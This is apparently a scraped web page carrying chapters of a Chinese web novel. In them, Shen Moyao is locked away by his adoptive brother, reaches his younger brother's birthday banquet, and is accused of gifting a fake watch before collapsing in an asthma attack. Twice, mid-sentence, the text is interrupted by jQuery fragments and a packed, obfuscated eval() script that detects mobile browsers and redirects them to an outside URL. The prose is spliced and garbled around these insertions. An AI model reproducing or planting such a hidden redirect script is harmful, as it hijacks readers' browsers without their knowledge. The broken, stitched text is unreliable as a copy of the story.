$(''.inform'').remove(); $(''#content'').append('' 饮而尽。 “爸,大哥胃不好,我替他多敬你一杯。”沈佑麟得意地举杯,余光撇见远处坐着的沈陌遥,那人好像自从坐上桌后就没怎么动过筷子,如今他们父子三人其乐融融地敬酒,他竟然也没什么反应,就像是被施了定身咒一样。 沈陌遥确实有些愣怔。 刚才,沈厉峥对他说的是“我们家”。 他握着筷子的手颤了颤,眼睛垂下来。 这似乎……倒是个很理所应当的说法。自从十四年前,他和沈家的其他人之间就不可避免的有了一道裂缝,而沈凌夏的介入更是让这条裂缝越来越大越来越深,逐渐变成一道无论如何都无法逾越的鸿沟。 而这些年来,他好像无数次试图站在沟壑的一端,朝另一端怯怯地伸出手。 却什么都抓不住。 沈陌遥看着桌前三人脸上的笑容,恍惚间好像回到15岁那年回国,第一次回到阔别了三年多的沈宅的时候。 那时的他虽然已经懂得反复告诫自己不要妄想幸福的家庭生活,但在看到车离从小居住的房子越来越近时,仍会克制不住地升起些许想念和期待。 然而,当他怀着些许归家的喜悦快步推开家门时,猝不及防映入眼帘的,正是和现在极其类似的景象—— 姜鹤搂着带着生日帽的沈凌夏坐在客厅沙发上,亲吻他的脸颊,脸上是从未有过的幸福神情,沈厉峥和沈佑麟分别坐在他们两侧,手中举着他曾经最爱喝的果汁,做出干杯的动作。 比起后来沈厉峥再次介绍沈凌夏时仿佛渗透五官直接刻在骨头上的骄傲,抑或是姜鹤对他和对沈凌夏那天差地别的态度,近十年来一直反复出现在沈陌遥的梦魇中的,就是那样一个看似稀松平常的,一家四口其乐融融的时刻。 像看默片似的,那时的他看着眼前的场景,忽然产生一种类似灵魂出窍的无机质感。时间像是固体,凝滞在狭小紧缩的空间中,他无法挣脱,也动弹不得。 那是他第一次感觉自己被昏天黑地的多余感击溃。 无穷尽的多余感从那道沟壑的另一端窒息般向他涌来,顺着他伸出的手攀附,进而包裹了他,直到把他挤压成一块很小、很小的,没有颜色的废铁。 “自从你们都各自去外地读大学……咱们还确实很久没这样聚在一起了。” 沈厉峥喝了点小酒,此时眉头都舒展开,他起了一点兴致,总算想起被无视在一旁的沈陌遥,他视线扫过那人扶着瓷碗,有些青紫的手背,恍然发觉他最近也许也是身在病中。 沈厉峥看着他比沈凌夏显得更为苍白的脸,又想起这次午饭是自己邀请在先,竟忽然意识到自己刻意冷落他的举动多少有些不得体。 ……倒不是因为良心发现想起来关怀那个对他来说几乎不存在的儿子,只是觉得有点失了一家之主的风度。 于是他看向自己的酒杯,犹豫着要不要主动将它朝沈陌遥举起,却一时想不到什么好的话题,攥着杯子的手僵在半空中。 “不用勉强,爸。” 沈陌遥好像看透他心中所想,他此时已经从回忆中抽离,目光平静而坦然落在英俊的中年男人身上,声线浅淡。 没关系的。 他在心中告诉自己。 反正说到底,他来赴约这顿饭局也并不是真的为了看他的父亲手足无措地和自己碰杯,不是吗。 沈厉峥被他锋锐的目光直击心底,心头一震,随即感到莫名的心虚,竟然有些不敢再看他,沈陌遥却适时幽幽收回视线,放下根本没碰到什么饭菜的筷子站起身。 “我吃好了。” 4. 晚宴 由于姜鹤极其不稳定的精神状态,要不是因为这次沈厉峥的邀请,沈陌遥其实很难有名正言顺地在别墅里四处转悠的机会。 尤其是去到三楼长廊尽头的这个房间。 他的母亲看到这个房间就会情绪崩溃,大哭大闹,所以自从十四年前,这个房间就一直被一块能从外侧锁死的假墙体遮蔽着。 这是他妹妹的房间。 沈陌遥走进屋,来到窗边的桌子旁,用打火机将放在相框两侧花朵烛台里的小蜡烛点燃,然后坐到地上的软垫里曲起腿。他抬起头,方形相框里,水灵的小女孩乘着午后的阳光对着他灿烂地笑,一如他们曾共同经历的每个春夏秋冬。 这些年来,每次来到沈宅的时候,沈陌遥总会在临走前像这样在这个堆满怪兽玩偶和抱枕的房间里独自呆一会儿。 “又来这里暗自悔过曾经犯下的滔天大错?” 凉飕飕的声音从后方传出,沈陌遥从软垫上站起身,看见天色渐沉才恍然发觉已经在妹妹的房间里逗留了很久。 沈凌夏正双手抱臂站在假墙边,看向他时早已没有在餐桌上的内敛温和,转而呈现出一种讥讽的神情。 “滚。”沈陌遥压着眉走到门边,浑身的气息都变得凌厉起来,眼神锋利如同出鞘利刃。 “啧,真凶。”沈凌夏后退两步,嘴角挂上刻薄的微笑,“难道你还想殴打你可怜的大哥不成?这可真令人难过。” “刚才还没演够?” “哎,别这么说。我只是来好心地通知你,爸妈和小弟都带着管家他们先行去往宴会厅了。他们都以为你早就离开沈宅了——你看,果然只有我最了解你。” “了解我?”沈陌遥冷哼,“那你就该识相点,滚得越远越好。” “放心,至少今晚,你没有再见到我的机会。”沈凌夏狭长的眼睛毒蛇一样盯着他,再次后退两步走到假墙外侧,手在墙体侧面狠狠一推—— “因为我们的沈家二少沈陌遥今晚不会出现在沈佑麟的20岁生日宴。” 沈陌遥很快反应过来他想要做什么,但是为时已晚,啪嗒的落锁声传来,假墙已然纹丝不动,不再能被从里面推开。 “作为你即将遗憾缺席的补偿,我就说点让你开心的吧。”隔着墙,沈凌夏的声音幽幽传来。 “你肯定不知道吧?我们那愚蠢的小弟虽然于我而言是杆指哪打哪的枪,却也还是偷偷惦记着他的二哥你呢。今天早上,他竟然还问我你会给他送什么生日礼物……真可笑。” “他怎么还能对他那十恶不赦的二哥有哪怕一丁点儿期待呢?这可是万万不行的。” 沈凌夏没等沈陌遥的回答,他的语气却很自然,仿佛只是在说些茶余饭后的家常,却仿佛有森寒的冰砾透过墙面渗入沈陌遥所在的一侧。 “即使是期待生日礼物也不行。所以我得让他知道,你压根没把给他过生日放在眼里才行。” “你很聪明,故意把礼物藏在车里没带进来,让我没有下手的机会,所以我只能另辟蹊径,从你本人入手。还好你一直有这个习惯,真是帮了我大忙——在被自己害死的胞妹面前发呆,做出一副忏悔的样子,可真让人心疼啊,是不是?” “放心,我没有关人禁闭的癖好。等到宴会结束我们到家,我会赶在所有人之前率先发现被意外关在这里的你……所以现在,你只要在这里乖乖呆上几小时就好。瞧,我是不是很贴心?” “沈凌夏,你真不是个东西。” “真是过奖。”沈凌夏森冷地笑了两声,声音沉下去,“不要怪我,沈陌遥。要怪……就怪你生在这个家吧。” 沈凌夏的脚步声渐渐走远,沈陌遥低头看了看一直亮着的手机屏左上角,时间显示晚上五点四十,而沈佑麟的生日晚宴会在六点二十准时开始。 沈凌夏应该是料定了他不想在沈佑麟的生日宴这天把事情闹得太大,不会选择打电话报警或联系物业救助,何况现在等人来给自己解锁需要等待的时间太长,算上换装和路程时间,他几乎不可能在宴会开始前赶到。 那,要给父亲或是小弟,又或者是徐伯打电话吗? 沈陌遥翻了翻手机通讯录,指腹悬在昨天沈厉峥的来电上几秒,又很快放下。 ……沈陌遥,你在想什么呢。 他自嘲般笑了笑。 即使没有刚才的事件发生,他们都不可能会接听自己的电话。 他一定是因为这几天太累,脑子有些糊涂了,才会诞生这样的痴心妄想。 …… 啪嗒啪嗒。 一片寂寥中,一点细微的声音都格外清晰,沈陌遥放下手机回头看去,天色暗沉的窗外竟然飘起了小雨。 他走到窗边,往外看去,沈宅外围被风吹动的草木因为细雨滴答而染上朦胧的颜色,后院里,露台上,窗棂边,各处湿润的痕迹在焦黄的院灯映照下反射出浅橘色的光。 嗯? 他的视线顺着二楼露台的边缘一路来到自己所在的三楼窗外。 这扇窗户下面一米多的地方有一个放着空调外机的平台,而那个平台……似乎恰好连着二楼的露台。 沈陌遥眼睛眨了眨,一个大胆的想法在脑中形成。 果然,他怎么会被困在妹妹的房间呢。 “对不起哦,哥哥要踩一下你的窗户。”他轻轻摸了摸桌上的相框,冲里面的女孩弯了一下眼睛,“我得赶去小弟的20岁生日会,所以……你一定不会怪我的,对吧?” · 六点二十整,沈凌夏出现在富丽堂皇的宴会厅主席台上。 他长相虽不及沈陌遥惊艳,却也足以称得上英俊,今天带了一副银丝边眼镜在脸上,一身十分抢眼的银白色流苏西装穿在他身上十分得体,整个人一表人才,顿时吸引了场上大部分人的目光。 作为开场,他竟然别出心裁地为寿星沈佑麟写了一封信,虽然主旨是为了给他庆生,却在其中情真意切地阐述了自己加入沈家以来和家人们、尤其是和今天的主角沈佑麟共处的点点滴滴,感谢他们收养自己,不计较出身和血缘,全心全意接纳自己,并且祝福沈佑麟此后有一个精彩而无憾的人生。 沈佑麟摘了唇环,他穿了一身酒红色燕尾西服,棕色头发整齐地向后梳起,一改往日的嚣张跋扈,此时正站在沈凌夏身旁,一脸感动地认真听着。 台下,被佣人搀扶着的姜鹤更是早已泪流满面,就连沈厉峥一贯不带波澜的脸上都隐隐浮现深受触动的神情。 生日宴到场的来宾几乎都是国内叫得上名号的名流权贵,自然有不少人都曾私下听说过沈家大儿子其实是沈母早逝的姐姐留下的独子,是在十几年前才被过继到沈家的,如今听到他这番发自肺腑的讲话,不少人也纷纷为这感人至深的亲情故事所震撼,不禁红了眼眶。 随后,在众人的掌声雷动中,沈凌夏拿出自己精心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281026|151833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑选的礼物——一条世界知名珠宝设计师斯沃德·李先生参与监督设计的项链,上面的红宝石有一个拇指大,成色极好,看上去就价值不菲。 “大哥,你怎么知道他是我最喜欢的设计师!”沈佑麟惊喜地接过装着项链的盒子,如获至宝般将它拿在手里仔细端详,“这太漂亮了,谢谢哥,我特别喜欢!” 沈凌夏也露出柔和的笑,在台下众人的掌声中,他张开双臂和沈佑麟紧紧拥抱在一起,在赠礼环节告一段落,主席台上灯光渐弱,两人分开时,他的脸上却出现几分失落的神色。 “其实……本来在我的设想里,在这个环节会出现的不只有我,还有你的另一位兄长。” 沈凌夏的声音并不高,却刚好能让主席台周围零散的人群全部都听见,连嗓音里透出的那一点儿隐隐的失落都显得恰到好处。 “小弟,大哥要和你说声抱歉。我努力很多次了……我和他反复强调这是你此生仅有一次的20岁生日,可他……可二弟他却一直没有表示,中午他离开后,人就不知道去了哪里,我给他打电话他也不接……” 人群中传来一阵窃窃私语。 “大哥,这不是你的错。”沈佑麟攥着项链盒的手紧了紧,“他本来就和我们不同,生来就是个薄情寡义的家伙……你根本没必要给他打电话。” 在宴会开始前,沈佑麟其实背着家人偷偷寻找过沈陌遥的身影。 虽然这些年来,和家里作对,违逆父母,坑害大哥的事情他做的数不胜数,但是至少……他以为沈陌遥至少不应该忽视自己的20岁生日。 明明之前几年的小生日,他虽然都在忙工作,却一直是有给自己发来生日祝福、寄来礼物的。 虽然其实那些礼物他也没有真的打开看过,都是随手扔在车库的某个角落……但是他看不看是他自己的事,沈陌遥不送,可就代表着他对自己彻底的不重视。 大哥说的没错,这可是一生仅有一次的20岁生日啊。 他怎么敢在这个时候玩失踪? 人为什么总是变得这么快? ……不。 沈佑麟看着神色落寞自责的大哥,手臂因为气愤颤抖起来。 也许沈陌遥从来就没变过。 只是因为在大哥回国之后,他受了刺激,变得愈发不屑于去伪装自己的恶劣本性罢了。 就像今天中午,他非要去把和他好好说话的大哥差点推到楼底下。 “唉。”沈凌夏叹了口气,拍拍沈佑麟宽阔的背,“不说这些了,既然他没有来——” “沈凌夏,谁没来?” 宴会厅的入口处,一道清冷的声音穿透人群传至主席台。众人目光汇集之处,一位身形颀长笔挺的黑发青年手中拿着一个精致的小礼盒,朝主席台走去。 他身穿一身精心剪裁的黑西装,迈步间显出腰细腿长的好身段,脖颈处戴着的两指宽的素色贴颈项链放在普通人身上会显得过于浮夸,却与他堪称艳丽的眉眼相得益彰,举手投足间都散发着清隽矜贵的气质,让宴会厅内的所有人都人忍不住屏息注目。 走近主席台,经过从上面走下来的沈凌夏时,沈陌遥极轻地偏了一下头。 “没能如你的意,真可惜。” 他在沈凌夏的耳边轻声说道,那人脚步明显一顿,喉结颤了颤,眼中一阵将将欲喷的怒火压了又压,脸上优雅得体的微笑还是无可避免地露出一道裂缝。 5. 礼物 沈陌遥并不是个喜欢张扬的人。 要不是沈凌夏为了做高自己在沈家的地位,处心积虑地把兄弟送礼环节驾到这么高的一个位置,他其实无意以这样受人瞩目的方式登台。 至于为什么冒着很大风险也执意要赶来,和沈凌夏的所作所为倒没什么关系,他只是单纯的不想缺席小弟的20岁生日。 虽然对方应该没那么在意自己来不来……但是沈凌夏也说了,沈佑麟此前对他的生日礼物是有所期待的。 他果然……还是不太想辜负来自小弟的期待。 “抱歉,小佑,我来迟了。”沈陌遥踏上主席台,走至沈佑麟身边。 外面下着不小的雨,他翻窗户出来的时候额发不可避免地被雨打湿了一点,却一点也不显得狼狈,反而像是精心打扮过的造型,十分得体大方。 “都说那沈家二少爷是最不争气,最拿不出手的一个,怎么今天我看了觉得不太像呢。” “他好像很早就去混娱乐圈了,不务正业的很,倒是没想到长相气质这么出挑。” “你们是一点不关注娱乐新闻啊,这小子就是背靠他爹,天天在圈里给别人甩脸子呢。” “没听见刚才他们大哥说的吗?他连自己亲弟弟的20岁生日会都能迟到,根本没放在心上吧!” “对啊,他就是这张脸长得有欺骗性而已!听说他从小就坏,十几年前的时候,还……” “嘘!在这里说这个,你是想被赶出去吗?” 场下的窃窃私语从沈陌遥出现的那一刻就此起彼伏,有些人甚至天不怕地不怕地用了挺大的音量声讨他,但他的神色却并未动摇,依旧坦然自若。 “二哥,你竟然来了……” 沈佑麟看着一路走向自己的人,视线停留在他有些湿漉漉的头发和睫毛,竟然像是着了魔般待在原地,连原本要谴责他在生日宴上迟到的话都忘了说。 不知怎么,他忽然想起很多年前的一个雨夜。 那是大哥来到他们家之后的事。那天也是他的生日,却恰逢父亲在外地出差,母亲身体抱恙卧病在床,他被宠惯了,一时难以接受没有被全家人围着庆祝的生日,竟然发狠似地离家出走以表不满,却在半途中迷了路。 夜幕降临的时候正好下起了雨,他身上的衣服很薄,整个人又冷又饿,只能缩在一处勉强能避雨的地方瑟瑟发抖,浑浑噩噩地期盼有人能找到他。 他在破旧的屋檐下,闪烁的老旧路灯旁等啊等,等啊等,在快要被冻得失去意识之前,竟然真的有个撑着伞的人找到了他。 那个人唤他“小佑”,脱了衣服给他穿着,把他搂得很紧,他感到无比的安心,很快闭上了眼睛。再醒来时他已经回到了家,他躺在床上,试图回忆那个人的脸,却怎么也想不起来,只记得他有一个温暖的怀抱和一双湿润的眼睛。 后来沈凌夏出现了,他微笑着递给他一杯姜茶,他接过去把那热烫的瓷杯捧在手心,又回想起雨夜中那个怀抱的温度,很快便明白找到他的人正是他的大哥。 这也是最合理的推测……毕竟那时的沈陌遥已经祸害了他们家,暴露了他恶劣的本性。 于情于理去思考,那样刻薄无情的人,怎么会冒着大雨在深更半夜准确找到他呢。 这么多年来,他一直认定了那个人是沈凌夏,从不曾动摇,但却在这一刻看到沈陌遥仿佛笼着一层雾气的眼睛时,头一次产生了困惑。 有没有可能……沈陌遥才是他记忆里的那个人? “小佑,看看你的礼物。” 沈陌遥打断他的思绪,向他递出那个精美的小盒子,偏过头去背着主席台咳了咳。 他翻出三楼,换上西装赶往宴会厅的时候雨下的有些大,许是之前发烧是强行用退烧针压下去的,没有彻底好透,这会儿淋了不少雨,他感觉头脑又开始有些昏沉,脸颊和手脚都有些发热,应该是又起了烧。 等到小弟看了礼物,晚宴正式开始后,就找个机会先行离开,去车里吃点药躺会好了。 他不是个喜欢示弱的人,不愿意在自己脆弱的时候被什么人看到。 “嗯。” 沈佑麟罕见地带了丝温顺点点头,好像在这瞬间抛去了以往对他的全部厌恶,只是一脸按耐不住期待地接过他手中的小盒子打开。 “这是……斯沃德·李先生本人亲自设计的那款……” 沈佑麟看着那只躺在表盒里的腕表,它整体呈现淡玫瑰金色,表盘上有几颗小巧的钻石点缀,盘底的龙型浮雕沉稳奢华,一看便知经过匠人的精心雕琢。 “我,我没想到真的能收到它作为我的生日礼物……”沈佑麟倒吸一口气,铺天盖地的惊喜感砸向他,顿时脑中一片空白,有种陷在梦中的不真实感。 “二哥,这,这太贵重了……”他磕磕巴巴地说道,“很多人都说,这款表现在有价无市,我在朋友圈也就是随口一提,完全没想到有谁能真的买到它。” “你喜欢就好。”沈陌遥看着他又是震惊又是喜悦的脸,脸上浮现淡淡的微笑,他走过去轻轻拍了拍沈佑麟的肩膀,并没有再因为送出了一件了不得的生日礼物再多说些什么话,默默转身走下台。 台下,在无数宾客的惊叹中,一直警惕地盯着沈陌遥的沈厉峥脸上也出现难以置信的神情。他盯着那块表看了很久,直到沈陌遥下台后,才意识到那人根本没和自己打上一声招呼就不知跑去了哪。 然而现在并不是找人的时候,在因为沈陌遥的出现被意外延长的赠礼环节结束后,他很快就被人请上台,作为寿星的父亲,也作为盛天文创的董事长上台进行简短致辞,并宣布晚宴正式开始。 方才的沈陌遥本人的登场和他送出的礼物都过于引人注目,因此宴会开始后,人们来来往往,觥筹交错间讨论的最多的还是沈家那位样貌过人,气度不凡,却被描述为顽劣不堪的沈家二公子,以及他看似随手送出的那款夺目的顶级腕表。 沈凌夏依照沈厉峥先前的示意把姜鹤扶进里间的休息室,折返回宴会厅后看到的就是这样一幅场景。 至此,他花了大价钱,甚至在项目谈判中主动让出一个点才搞到手的红宝石项链竟然就这样完全沦为了陪衬。 ……该死的沈陌遥! 沈凌夏握着红酒杯的手指绷紧到发白,仿佛下一秒就能将那细长的玻璃器皿捏碎。 他是怎么出来的?他怎么能,怎么能在自己的精心设局下依旧突破阻碍地来到这里,甚至抢尽了他作为沈家第一继承人的风头! 他细长的眉毛下压,藏在阴影里的眉眼透出几分燃烧着的怨恨,又很快如同烧完烟火的香灰似地坍塌,一点一点埋进眼底深处。 “小弟,你能来一下吗?” 沈凌夏不死心地走到沈佑麟身旁,那人一手端着盛牛排的盘子,正有一搭没一搭地侧着头和另几个前来祝贺生日的富家公子哥闲聊,另一只手上还握着装着那块表的盒子,脸上的得瑟快要溢出来。 ……一副要给全天下巡回展示那块表的蠢样。 “哦,好,等我一下大哥。” 沈佑麟听到他的召唤,把盘子递给边上的侍应,随口交代了几句,走到沈凌夏身边,“大哥,怎么了?” “这块表可以给大哥看看吗?”沈凌夏冲他挤出一个温和的笑,“刚才忙着照顾妈,没看到二弟给你送的礼。” “当然可以。”沈佑麟爽快地打开盒子。 “真是一块精致的表。”沈凌夏拿起一块手帕,包裹着腕表把它小心从表盒里取出,放在手里端详起来,在翻看到表盘背面时,他眉头挑了挑,嘴唇勾了一下,很快露出一副微微困惑的神情。 “小弟……你知道这串数字是什么意思吗?” “什么数字?哦,背面那个应该是腕表的编号。这块表当年发售的时候全球只有100块,我记得编号应该是001到100这样。”沈佑麟想也没想答道。 “可是……这个上面的数字是101。” “什么?不可能!” 沈佑麟急忙凑上前查看,在沈凌夏指尖所指向的位置,表盘背面那串极小的数字的确是不该存在的编号101。 “怎么可能……这款表根本没有发售过第101块……”沈佑麟慌了神。 “小弟,你说有没有可能,这块表其实是……”沈凌夏说着,狠狠抿住嘴唇,“算了,我不该这么说的——小弟?” “……不,你说的对,大哥。” 沈佑麟看向那块表的眼神由欣喜和得意很快转为愤怒,他接过沈凌夏手中的表盒,利用身高优势伸长脖子在会场里扫了一圈,很快锁定了在甜品台前转悠的那个高瘦人影。 “我真是高看他了,白高兴一场,还真以为他有那么用心,有那么大能耐给我搞到这么珍贵的表。” 沈佑麟把表盒随意塞进自己的裤兜,带着满腔怒火朝着甜品台的方向快步走去。 “小弟,小弟?你去干什么?别冲动啊!” 沈凌夏象征性喊了两声,又在成功引得周围人纷纷侧目后很快止住,像是着急赶去阻止不好的事情一样面带忧色地快步跟在沈佑麟后面。 沈陌遥站在甜品台前。因为发热,他有些头昏脑胀,又想着退烧药不能空腹吃,便在一众精致的菜肴中选了看起来让他稍微有些食欲的甜品区,正思索着哪个甜品是他现在吃了也不会过敏、不会反胃,可以垫垫肚子再回去吃药的,忽然听见一道愤怒的男声从身侧传来。 “沈陌遥!” “小佑?怎么了吗?” “你还有脸问我怎么了?!” 沈佑麟脸上青一阵白一阵地闪,在周围人的窃窃私语中愤愤低声开口:“你送我的那块表,不是真的,对吗?” “……为什么这么说?” “你当我是可以随便忽悠的蠢蛋吗?那块表的编号是101!你知道这是个多么可笑的数字吗——那块表在发售的时候,就没有100以上的编号!” “小佑,你冷静点。” 沈陌遥先是愣了愣,又在不远处看到一脸玩味地朝这里看的沈凌夏,很快明白发生了什么,他不想小弟生日宴闹出太难堪的事,耐着性子解释:“这是我向那位设计师先生直接买的,他的收藏应该不在当年发售的那批编号之内……” “你糊弄三岁小孩呢是不是?!” 沈佑麟竟然被他一席话刺激的愈发愤怒起来,声音有渐强的趋势:“你知道斯沃德·李是什么等级的设计师吗?就凭你一个渺小的前乐队成员,你怎么可能认识他?还说什么从他那里买表?真是天方夜谭!” “我说的是真的,小佑。” “你说是真 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在此之前,他甚至以为沈陌遥因为中午的冲突已经离开了桐市,虽然这次喊他回沈宅吃饭是本着和他谈一些公事的目的……但他并不是特别着急,所以如果沈陌遥下午就一去不回,对他来说并不是一件坏事。 至少这样沈陌遥就不会出现在宴会厅之后惹事生非,影响他和参加这次宴会的一些重要公司董事商讨未来的合作。 但他没想到的是,沈陌遥还是出现了。 ……不仅出现了,他预想中最坏的结果也正在发生。 “你是故意的,对不对?”沈佑麟的浓眉狠狠压下来,语气激烈,“你根本没想着要给我庆祝生日,为了看我出丑,你甚至愿意用一块精心仿造的赝品来侮辱我,是吗?” 他越说越上头,话音刚落竟是发狠似地扯了一把沈陌遥身边的桌布,桌上三层的甜品台轰然倒塌,其中的点心水果失去平衡散落一地,沈陌遥身在病中反应有些迟钝,许多奶油和水果块溅到他的西服外套上。 高亢的人声和叮当的响动吸引了宴会中不少人的目光,许多吃瓜看戏的人都围了上来,人群中甚至响起快门声。 甜腻的味道冲进鼻腔,沈陌遥低头看了看自己一片狼藉的衣服,疲倦地揉了揉眉心。 他能感觉到自己的体温有继续升高的趋势,这会儿光是好好站着就已经有些费力,真的分不出太多精神安抚似乎永远也长不大的沈佑麟。 在无数道看戏的目光中,他攒了一点力气,用很轻的声音问:“小佑,你觉得你现在所相信的就一定是事实,还是因为你想这样相信,从而臆断出的主观真相?” “我……”沈佑麟没有料到他会问出这样一番话,察觉到他语气里隐隐的受伤,一时之间竟有些语塞。 理智逐渐回归大脑,他慢慢回想起沈陌遥递给他礼物时隐隐期待的脸,又扫过他似乎比昨天更加苍白的脸色,忽然有些犹豫。 万一这块表并不是假的,又或者二哥其实并不知道这是假的,也是受害者…… 那他岂不是成了不分青红皂白就血口喷人的魔鬼? “二弟,今天小弟是寿星,你和他说这些干什么?”沈凌夏从人群前方走到沈佑麟身边,把手搭在他的肩膀上安抚有些发懵的他,扭头不赞许地看向沈陌遥。 “小弟说的也许不完全对,我想你应该是觉得这块赝品的做工足够精致,所以决定赌一把,以假乱真,对吧?要是成功隐瞒下来,之后也没人再会追查。” 沈凌夏抿了抿唇,“也怪我,忘了小弟是个急性子,有什么疑惑应该私下再和他说。” 沈陌遥静静地盯着沈凌夏的眼睛和嘴唇看了一会儿。 一个人是怎么能连不红心不跳地说出这样的话的呢? 有一瞬间,他真的很想剖开沈凌夏的心看一看,里面到底是什么颜色,又装着什么。 只可惜现在他已经自顾不暇。 眩晕感一阵比一阵猛烈地袭来,沈陌遥看见站到沈凌夏身后,面色不善地盯着他,简直巴不得他赶紧消失的父亲,又望向怒火重燃,一脸愤恨的小弟,垂在身侧的手紧绷起来,又有些无力地松开。 有的时候他会想,是不是自十四年前起,自己就永远失去了被爱的资格,无论怎么说、怎么做,都永远无法改变家人们对自己的厌恶。 不然的话,哪怕一次也好,为什么他们从来不肯站在他这边,从来不肯相信他? 也许真的是这样。 沈陌遥,事到如今,你为什么还要有这些不切实际的妄想? 你根本不属于这个家。 “沈陌遥,你说话啊!难道你还有什么要狡辩的吗!”沈佑麟又吼道。 “算了。”沈陌遥紧绷的脊背松懈下来,眼神黯下去,“既然你坚持认为这块表是假的,小佑……” 他的声音轻飘飘,像一片羽毛落进沈佑麟的耳朵。 “就把它扔了吧。” “二哥……”沈佑麟看见他肉眼可见白下去的脸和颤抖的嘴唇,竟猛地愣怔了一下,下意识开口喊他。 但沈陌遥没有回话。 他身形微晃地越过人群,把脏了的外套脱下来递给场地内的侍应生,穿着单薄的衬衫,只身一人穿过后门走出宴会厅,没再回头。 6. 哮喘 沈陌遥有点庆幸自己做决定的速度够快。 因为再晚一点,他好像就要连平稳走出宴会厅的力气都没有了。 他没敢坐在冷得刺骨的石板长椅上,头抵在石柱边闭眼站了一会儿,想等状态好一点就动身回到自己车上。 但他没想到的是,沈佑麟在宴会厅里不知道又受了什么刺激,没过多久竟然也从会场内追了出来。 晚风吹起两人的衣襟和发梢,沈陌遥站在宴会厅外侧花园旁的连廊下掩唇咳了一阵,默默注视着走向自己,身形高大的弟弟。 沈佑麟从小就一直很高。 他们的母亲姜鹤是混血儿,而沈佑麟则把她的一半美国血统继承得格外明显,发色偏浅,五官和骨架都更接近西方人的浓烈宽阔。沈陌遥比他大了四岁多,却始终不能在体型上超过他太多,有时会因此偷偷生闷气。 那个时候更加年幼的沈佑麟自然无法察觉他暗自和弟弟较劲身高的小心思,总是追在他屁股后面刺激他,用小奶音念叨:“哥哥,哥哥,等我比你高了,就换我保护你。” 其实沈佑麟很早就比他还高上许多了。沈陌遥唇角微勾,露出一个有些怅然的笑。 只是时过境迁,曾经说着要用来保护他的身量如今却变成了用来压迫他的桎梏。 沈佑麟朝他一步步逼近,开阔的肩膀几乎能把他死死禁锢在廊下的墙角。走廊边的壁灯打在面前的人背上,在他眼前投下厚重的阴影,再看不见一点光。 走到这样近的距离,沈佑麟终于发现,他的二哥好像生病了。 他有点站不稳,呼出的气息也是滚烫的。 原来他是带病强撑着来参加自己的生日宴的。 这样一想,自己是不是有点太咄咄逼人了? 经过大哥善意的提醒,他原本是想追出来继续谴责他用高仿的玩意糊弄自己,甚至在生日宴会上不给他面子,掉头就走的恶劣行径的,却忽而产生一瞬的动摇。 但也仅仅只是一瞬——这样的想法在他看向沈陌遥的双眼时彻底消失了。 他的眼瞳颜色格外黑,平日里点点碎光映上去,眸光流连间便是潋滟的美,但在暗淡无光的地方却显得格外清冷,如同能看透人心的黑洞,没什么表情的时候,单凭一个眼神都能看得人心里发怵。 比如现在这样。 即使已经被逼到墙角,他的二哥却仍在用这样平静中带着些许失望的眼神盯着他,眼底蕴着秋夜冷冷的雨雾。 好像一种寂静无声的问责—— 别再无理取闹。 沈佑麟望着那双眼睛,心中一阵莫名的心虚,才熄灭不久的怒火顿时死灰复燃。 “你凭什么还敢瞪我?!” 他不再犹豫,抬手冲着沈陌遥的肩膀狠狠一推,他发着烧,四肢绵软没有力气抵御,重重摔在墙上。 像是没有想到沈佑麟又突然对自己动粗,脊背撞上墙壁的时候,沈陌遥的眼瞳颤了颤,先是出现几分错愕,很快又变成一种受伤般的茫然,头也逐渐低垂下去。 沈陌遥的视线开始涣散。 眩晕感伴随着一阵强烈的窒息席卷了他,心跳的越来越快而不规律,他倚在墙角,扬起脖子下意识想汲取氧气,却被沈佑麟粗重的鼻息包裹,克制不住地咳喘了起来,喉咙痉挛着开始紧缩,胸腔里爆发出一阵剧烈的哮鸣。 他的身体彻底软下来,冷汗从凌乱的发尾往下淌,沈佑麟却不肯就此放过他,伸出一只大手从肩膀下面把他架了起来,粗鲁地逼迫他站着,自上而下俯视他。 “哥哥……”大脑响起阵阵轰鸣,耳鸣声迭起之中,沈陌遥耳边传来一句低低的呼唤。 他被这声称得上轻柔的哥喊得有点神思恍惚,小时候白白胖胖追着自己喊哥哥的小孩子浮现在眼前,他竭力压下喉间此起彼伏的咳意,在愈演愈烈的眩晕中努力想听清弟弟的话。 然而紧接着,一句恶魔般的低语打碎了他的所有美好幻想,也一同击溃了他残存的,紧绷的神经。 “有的时候我真希望,十四年前死的人是你。” 廊外雨声淅沥,一滴冷汗顺着眉骨划过眼尾,顺着下巴落到地上,泪珠似的混进地面堆积的雨水里,没有发出任何声响。 沈陌遥不再有力气呼吸,眼前蓦地黑下去。 · 沈佑麟在一众名流公子小姐的簇拥下喝闷酒。 十分钟前,他说出那句话之后,没再看摇摇欲坠,甚至显得失魂落魄的沈陌遥,径直扭头走回了宴会厅。 但沈陌遥却到现在还没回来。 他是不是说的有些太过分了? 现在外面挺冷的,那人只穿了一件单衣,还生着病,准确的说应该是发着烧。 好像……他的二哥不太能发烧。 他有这样的记忆。 那应该是他四五岁的某一天,他缠着因为低烧没去上学的沈陌遥在家玩游戏,那个时候他不知道生病对沈陌遥来说是需要格外小心的事,眼巴巴粘在他身边求他教自己玩平衡车,他哥心软,拗不过他,换了身衣服就陪着他去了院子里。 那天他总算在沈陌遥无微不至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281028|151833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 